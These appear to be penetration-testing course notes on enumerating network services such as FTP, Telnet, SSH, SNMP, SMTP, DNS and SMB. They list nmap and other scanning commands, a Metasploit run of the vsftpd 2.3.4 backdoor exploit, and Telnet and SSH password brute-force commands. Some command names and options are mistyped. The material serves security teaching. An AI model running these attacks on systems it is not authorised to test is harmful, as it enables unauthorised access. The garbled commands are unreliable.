Module 4:

Enumeration

#01. What is Enumeration?

Enumeration is the process of extracting usernames, machine names,
network resources, shares, and services from a system or network. In
the enumeration phase, an attacker creates active connections with the
system and sends directed queries to gain more information about the
target. Attackers use the extracted information to identify points for a
system attack and perform password attacks to gain unauthorized access to
information system resources. Enumeration techniques are conducted in an
intranet environment.

 Techniques for Enumeration: --->>>

  Services and Ports to Enumerate**: --->>>

 FTP Enumeration: --->>>

The File Transfer Protocol (FTP) is used to transfer files over TCP, and its
default port is 21. Data are transferred between a sender and receiver in
plaintext, exposing critical information such as usernames and passwords to
attackers.

Command:

# nmap –p 21 <target domain>

$ ftp <IP>
  Exploiting FTP using MSF console: ---

msf6 > searchsploit vsftpd 2.3.4

msf6 > use 1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show
options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
[Link]
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Telnet Enumeration and Exploitation: ---

Telnet: - telnet is a network terminal protocol that allows users to access

remote computers or servers over the Internet.

# nmap –p 23 <target domain/IP>

# nmap –p 23 –script=telnet-ntlm-info <target IP>

  Exploiting Telnet using MSF console:

msf6 > search telnet_login

msf6 > use 1

msf6 auxiliary(scanner/telnet/telnet_login) > show options

msf6 auxiliary(scanner/telnet/telnet_login) > set RHOST [Link]

RHOST => [Link]

msf6 auxiliary(scanner/telnet/telnet_login) > set USER_FILE

/home/sam/unix_users.txt

USER_FILE => /home/sam/unix_users.txt

msf6 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE

/home/sam/unix_passwords.txt

PASS_FILE => /home/sam/unix_passwords.txt

msf6 auxiliary(scanner/telnet/telnet_login) > exploit

  SSH Enumeration: --->>>
Metasploit has an auxiliary function that we will use on the SSH service
running on port 22. One we get our session through it we will be upgrading it
to Meterpreter.
This module will test ssh logins on a range of machines and report successful
logins. If you have loaded a database plugin and connected to a database
this module will record successful logins and hosts so you can track your
access.

How to Brute Force on SSH Port: ---

Here we have a list of usernames and Passwords

$ medusa –U <username list> -P <passwords list> -h

<host/IP> -M < Name of the module to execute>
 NetBIOS Enumeration: --->>>

A NetBIOS name is a unique 16 ASCII character string used to identify the

network devices over TCP/IP; fifteen characters are used for the device
name, and the sixteenth character is reserved for the services or name
record type.

- Attackers use the NetBIOS enumeration to obtain:

# List of computers that belong to a domain

# List of shares on the individual hosts in the network

# Policies and passwords

The nbstat utility in windows displays NetBIOS over TCP/IP protocol

statistics, NetBIOS name tables for both the local and remote computers, and
the NetBIOS name cache.
Nbtstat Utility:

Nbstat is a windows utility that helps in troubleshooting

NETBIOS name resolution problems. Attackers use Nbtstat to enumerate
information such as NetBIOS over TCP/IP protocol statistics, NetBIOS name
tables fo both local and remote computers, and the NetBIOS name cache.

Cmd Syntax:

Nbstat [-a RemoteName] [ IP Address]

Nbtstat –c

 NetBIOS Enumeration Tools: --->>>

I. NetBIOS Enumerator

II. Nmap

III. Advanced IP Scanner

IV. Hyena

 Enumerating User Accounts: --->>>

Enumerating user accounts using the PsTools suite helps to control

and manage remote systems from the command line.
-**Enumerating Shared Resouces Using Net View**: --->>>

The Net View utility is used to obtain a list of all the shared resources of a
remote host or workgroup.

- Net View Commands: ---

* net view \\<computername/IP> /ALL

* net view /domain:<domain name>

SNMP (Simple Network Management Protocol)

Enumeration: ---
Working of SNMP
 Enumerating SNMP using Snmp Walk and Nmap: ---
>>>
Command: snmpwalk –v1 –c public <target IP>

Command: nmap –sU –p 161 –script=snmp-prfocesses <IP>

 SNMP Enumeration Tools: --->>>

I. snmp-check

II. snmpwalk

III. onesixtyone
#04. LDAP Enumeration: --->>>
Lightweight directory access protocol (LDAP) is an Internet protocol for
accessing distributed directory services. Directory services may provide
any organized set of records, often in a hierarchical and logical structure,
such as a corporate email directory.

A client starts an LDAP session by connecting to a directory system agent

(DSA) on TCP port 389 and then sends an operation request to the DSA.
Attackers query the LDAP service to gather information, such as valid
usernames, addresses, and departmental details, which can be further used
to perform attacks.

 LDAP Enumeration Tools: ---

I. softerra LDAP administrator

II. ldapsearch

III. LDAP Admin tool

IV. LDAP Account Manager

#05. NTP and NFS Enumeration: --->>>

Network Time Protocol (NTP) is designed to synchronize the clocks of
networked computers. It uses UDP port 123 as its primary means of
communication. NTP can maintain time to within 10 milliseconds over the
public internet.

-**NTP Enumeration Commands**: ---

I. ntpdate –d <IP>

II. ntprace

III. ntpdc
-**NTP Enumeration Tools**: ---

I. PRTG Network Monitor

II. Nmap

III. NTP Server Scanner

 NFS Enumeration: --->>>

NFS is a type of file system that enables users to access, view, store,
and update files over a remote server. This remote data can be accessed by
the client in the same way it is accessed on the local system. Depending on
the privileges assigned to the clients, they can either only read or both read
and write the data.

 NFS Enumeration Tools: ---

I. RPCScan

II. SuperEnum

#06. SMTP and DNS Enumeration: --->>>

SMTP Enumeration: Mail systems commonly use SMTP with POP3

and IMAP, which enable users to save messages in the server mailbox and
download them from the server when necessary. SMTP uses mail exchange
(MX) servers to direct mail via DNS. It runs on TCP port 25, 2525, or 587.

- SMPT provides 3 build-in-commands:

 I. VRFY - Validates users

II. EXPN – Shows the actual delivery addresses of aliases and mailing
lists

III. RCPT TO – Defines the recipients of a message

 SMTP Enumeration using Nmap and Metasploit: ---

>>>
Nmap:

# nmap –p 25, 365, 587 –script=smtp-enum-users <target IP>

 SMTP Enumeration Tools**: ---

I. netScanTools Pro

II. smtp-user-enum

 Using smtp-user-Enum tool to exploit SMTP: ---

$ smtp-user-enum –h

$ smtp-user-enum -M VRFY -U [Link] -t [Link]

Exploiting SMTP using Metasploit:

# step 1: launch Metasploit MSF console and switch to auxiliary scanner

Auxiliary/scanner/smtp/smtp_enum

msf 6> search smtp_enum

msf 6 > use auxiliary/scanner/smtp/smtp-Enum

msf6 > show options

msf6 > set RHOSTS <target IP>

msf6> exploit
 DNS Enumeration: ---
Command:

I. dig ns <target domain>

II. nslookup

Set querytype=soa

<target domain>

III. Dnsrecon –t axfr –d <target domain>

  DNS Enumeration Tools: ---
I. knock

II. Raccoon

III. subfinder

IV. Turbolist3r

V. DNSEnum

$ dnsenum <domain name>

  RPC Enumeration: --->>>

Remote Procedure Call (RPC) allows clients and servers to communicate

in distributed client/server programs. Enumerating RPC endpoints enables
attacker to identify any vulnerable services on these services ports.

Command:

# nmap –sR <target IP>

# nmap –T4 –A < target IP>

  SMB Enumeration: --->>>

SMB Enumeraton: - Server Message Block (SMB) is a transport protocol

that is generally used by windows systems for providing shared access to
files, printers, and serial ports as well as remote access to windows services.
It uses port 445.

Command:

# nmap –p 445 –A <target IP>

# nmap –p 445/139 –script smb-protocols <target IP>

 Tools: ---

 Enum4linux
 Enum4linux-ng
 Smbclient

 BGP Enumeration: --->>>

Border Gateway Protocol (BGP) is a routing protocol used to exchange

routing and reachability information between different autonomous systems
(AS) present on the Internet.

Command:

# nmap –p 179 <target IP>